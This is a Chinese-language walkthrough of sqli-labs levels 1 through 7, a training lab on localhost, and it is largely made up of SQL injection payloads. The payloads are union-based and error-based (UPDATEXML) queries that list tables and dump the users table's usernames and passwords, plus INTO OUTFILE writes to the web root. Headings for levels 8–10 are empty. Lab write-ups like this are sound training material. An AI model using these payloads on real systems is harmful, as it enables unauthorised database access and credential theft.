1.sqli-labs第一关(字符型注入)
1.1判断是否存在sql注入
1.提示你输入数字值的ID作为参数,我们输入?id=1
2.在数据库可以查看到users下的对应内容
1.2联合注入
1.首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
2.得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:
爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。%27是英文的单引号,注释符 --+
4.查询数据库名:
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,database()--+
5.得到数据库名:security,继续爆表:
爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
6.将 security 换成users表名,去爆破里面的内容。
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+
7.通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容
2.sqli-labs第二关(整数型注入)
当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
在php文件可以看到是整数型注入
其余步骤和第一关差不多
?id=1' order by 1,2,3,4--+
?id=1' order by 1,2,3--+
?id=-1'union select 1,2,3--+
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
3.sqli-labs第三关
1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容
2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可
原理相似,先对数据库进行查询
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
4.sqli-labs第四关
1.先尝试让它报错查看原因,单引号没用双引号可以
2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+
3.步骤跟上述相似
5.sqli-labs第五关(报错注入)
1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点
页面显示数据库的报错信息,确定注入点为单引号字符型
查看源码发现,就考虑使用报错注入
2.判断报错报错函数是否可用
3.l利用UPDATEXML函数报错注入
语法:UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
第三个参数:new_value,string格式,替换查找到的符合条件的数据
4.爆库名
?id=1' and updatexml(1,concat(1,database()),1)--+
-
?id=1
:这部分通常是一个URL参数,原始查询可能类似于SELECT * FROM some_table WHERE id = ?id
。攻击者试图通过修改这个参数来注入恶意SQL代码。 -
' and
:单引号('
)用于闭合原始SQL语句中的字符串字面量(如果原始查询是基于字符串比较的),and
用于添加额外的条件到WHERE子句中。 -
updatexml(1,concat(1,database()),1)
:这是攻击的核心部分。UPDATEXML()
函数尝试修改一个XML文档,但在这里它被用于触发一个错误,因为第二个参数(XPath表达式)不是一个有效的XPath表达式。concat(1,database())
将数字1
和当前数据库的名称连接起来,形成一个字符串,这个字符串随后被用作XPath表达式的一部分。由于这个表达式通常是无效的(因为它以数字开头),UPDATEXML()
函数将返回一个错误,并且这个错误消息可能会包含数据库名称。 -
--+
:这是SQL注释的开始。--
是SQL中的注释标记,后面跟一个空格(在这个例子中是+
后面的空格,但+
本身在这里是多余的,可能是为了绕过某些简单的输入过滤),它告诉数据库忽略该行剩余的所有内容。这确保了原始SQL语句的剩余部分(如果有的话)不会被执行,从而避免了语法错误。
得到security库名
5.爆表名
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+
6.爆列名
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name ='users')),1)--+
这里我不加上库名就匹配不上因此我加上了库名成功拿到列名
7.爆字段内容
?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+
http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(1,(select%20username%20from%20users%20limit%202,1),0,(select%20password%20from%20users%20limit%202,1)),1)--+
这里的limit 1,1中第一个1是users、password中记录的顺序,从0开始算,第二个1代表回显一条数据记录
6.sqli-labs第六关(报错注入)
1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号
2.判断报错函数是否可用
?id=01" and updatexml(1,0x7e,3) -- a
3.其余跟第五关差不多,单引号换成双引号即可
?id=1" and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+
7.sqli-labs第七关
1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile
2.采用outfile的方式进行注入
SELECT column1 FROM table_name INTO OUTFILE 'file_path'
OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,
打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`
参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)
修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。
?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database() into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+
这里出现了错误,百度后发现是数据库没有导出的权限
注释:
1.secure_file_priv为NULL时,不允许导入或导出。
2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。
3.secure_file_priv没有值时,不限制在任意目录的导入导出。
3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,
在里面写入下面这句话--------并保存
secure_file_priv=""
重启数据库
然后再打开数据库命令行输入show variables like '%secure%';
4.在重新输入导出命令
?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database() into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+
这里虽然显示有错误但是已经导出到1.txt中
至此漏洞利用成功
8.sqli-labs第八关
9.sqli-labs第九关
10.sqli-labs第十关